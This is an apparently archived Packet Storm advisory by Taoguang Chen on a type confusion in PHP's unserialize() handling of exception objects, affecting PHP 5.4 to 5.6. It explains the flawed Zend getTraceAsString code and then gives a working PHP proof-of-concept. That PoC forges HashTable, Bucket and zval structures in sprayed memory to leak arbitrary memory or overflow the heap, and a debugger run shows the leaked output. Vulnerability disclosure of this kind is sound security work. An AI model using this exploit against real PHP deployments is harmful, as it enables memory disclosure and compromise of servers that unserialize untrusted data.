exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Exception Type Confusion / Heap Overflow

PHP Exception Type Confusion / Heap Overflow
Posted Apr 29, 2015
Authored by Taoguang Chen

A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow.

tags | exploit, overflow, arbitrary
SHA-256 | b3a8329c29d10dca9d7ddc4c0f46af58e29999c11da31e6009cf9c41975e1db6

PHP Exception Type Confusion / Heap Overflow

Change Mirror Download
# Type Confusion Infoleak and Heap Overflow Vulnerability in
unserialize() with exception

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3
- Release Date: 2015.4.28

> A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.8
Affected is PHP 5.5 < 5.5.24
Affected is PHP 5.4 < 5.4.40

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------
```
ZEND_METHOD(exception, getTraceAsString)
{
zval *trace;
char *res, **str, *s_tmp;
int res_len = 0, *len = &res_len, num = 0;

DEFAULT_0_PARAMS;

res = estrdup("");
str = &res;

trace = zend_read_property(default_exception_ce, getThis(), "trace",
sizeof("trace")-1, 1 TSRMLS_CC);
zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC,
(apply_func_args_t)_build_trace_string, 3, str, len, &num);

...

static int _build_trace_string(zval **frame TSRMLS_DC, int num_args,
va_list args, zend_hash_key *hash_key) /* {{{ */
{
char *s_tmp, **str;
int *len, *num;
long line;
HashTable *ht = Z_ARRVAL_PP(frame);
zval **file, **tmp;

...

TRACE_APPEND_KEY("class");
TRACE_APPEND_KEY("type");
TRACE_APPEND_KEY("function");

...

#define TRACE_APPEND_KEY(key)
\
if (zend_hash_find(ht, key, sizeof(key), (void**)&tmp) == SUCCESS) { \
if (Z_TYPE_PP(tmp) != IS_STRING) { \
zend_error(E_WARNING, "Value for %s is no string", key); \
TRACE_APPEND_STR("[unknown]"); \
} else { \
TRACE_APPEND_STRL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp)); \
} \
}
```

The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a
fake HashTable and a fake Bucket. So we can supply a fake sring-type
ZVAL, and lookup arbitrary memory address via the Z_STRVAL_PP macro,
causing a crash or an information leak.

```
#define TRACE_APPEND_STRL(val, vallen) \
{ \
int l = vallen; \
*str = (char*)erealloc(*str, *len + l + 1); \
memcpy((*str) + *len, val, l); \
*len += l; \
}
```

There is using signed integer arithmetic in erealloc(). The memcpy()
function's third parameter is a unsiged integer. The vallen can be
completely control and we can supply negative value via a fake
string-type ZVAL. So we can assign a value to val which is larger than
real allocated memory. The memcpy() will then copy more data than the
heap-based buffers can hold, causing a heap-based buffer overflow.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.20.

```
<?php


ini_set("memory_limit", -1);

setup_memory();

$x = unserialize('O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:'.strlen($hashtable).':"'.$hashtable.'";}');

echo $x, "\n";

function setup_memory()
{
global $str, $hashtable;

$base = 0x114000000 + 0x20;
$bucket_addr = $base;
$zval_delta = 0x100;
$hashtable_delta = 0x200;
$zval_addr = $base + $zval_delta;
$hashtable_addr = $base + $hashtable_delta;

$bucket = "\x01\x00\x00\x00\x00\x00\x00\x00";
$bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00";
$bucket .= ptr2str($bucket_addr + 3*8);
$bucket .= ptr2str($zval_addr);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);

$bucket .= ptr2str(zhash('class'));
$bucket .= "\x06\x00\x00\x00\x00\x00\x00\x00";
$bucket .= ptr2str($bucket_addr + 3*8 + 9*8);
$bucket .= ptr2str($zval_addr + 5*8 + 6);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str($zval_addr + 2*5*8 + 2*6);
$bucket .= ptr2str($bucket_addr);
$bucket .= ptr2str($bucket_addr + 9*8);

$hashtable = "\x00\x00\x00\x00";
$hashtable .= "\x01\x00\x00\x00";
$hashtable .= "\x03\x00\x00\x00";
$hashtable .= "\x00\x00\x00\x00";
$hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00";
$hashtable .= ptr2str(0);
$hashtable .= ptr2str($bucket_addr);
$hashtable .= ptr2str($bucket_addr + 9*8);
$hashtable .= ptr2str($bucket_addr + 18*8);
$hashtable .= ptr2str(0);
$hashtable .= "\x00";
$hashtable .= "\x00";

$zval = ptr2str($hashtable_addr);
$zval .= ptr2str(0);
$zval .= "\x00\x00\x00\x00";
$zval .= "\x04";
$zval .= "\x00";
$zval .= ptr2str(0);
$zval .= ptr2str(0);
$zval .= ptr2str(0);

$zval .= ptr2str(0x100352572);
$zval .= ptr2str(0x16);
$zval .= "\x00\x00\x00\x00";
$zval .= "\x06";
$zval .= "\x00";
$zval .= ptr2str(0);
$zval .= ptr2str(0);
$zval .= ptr2str(0);

$zval .= ptr2str(hexdec(bin2hex(strrev('class'))));

$part = str_repeat("\x73", 4096);
for ($j = 0; $j < strlen($bucket); $j++) {
$part[$j] = $bucket[$j];
}
for ($j = 0; $j < strlen($hashtable); $j++) {
$part[$j + $hashtable_delta] = $hashtable[$j];
}
for ($j = 0; $j < strlen($zval); $j++) {
$part[$j + $zval_delta] = $zval[$j];
}
$str = str_repeat($part, 1024*1024*256/4096);
}

function ptr2str($ptr)
{
$out = "";
for ($i=0; $i<8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function zhash($key)
{
$hash = 5381;
$key = $key;
$len = strlen($key) + 1;

for (; $len >= 8; $len -= 8) {
for ($i = 0; $i < 8; $i++) {
$hash = (($hash << 5) + $hash) + ord($key{$i});
}
}
$key = substr($key, -$len);
for ($i = 0; $i < $len; $i++) {
$hash = (($hash << 5) + $hash) + ord($key{$i});
}
return $hash;
}

?>
```

Test the PoC on the command line, then output some memory blocks:

```
$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run tcpoc.php
Process 1825 launched: '/usr/bin/php' (x86_64)
exception 'Exception' in tcpoc.php:7
Stack trace:
#0 [internal function]: UH??AWAVSPI??I??H????()
#1 {main}
Process 1825 exited with status = 0 (0x00000000)
```


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close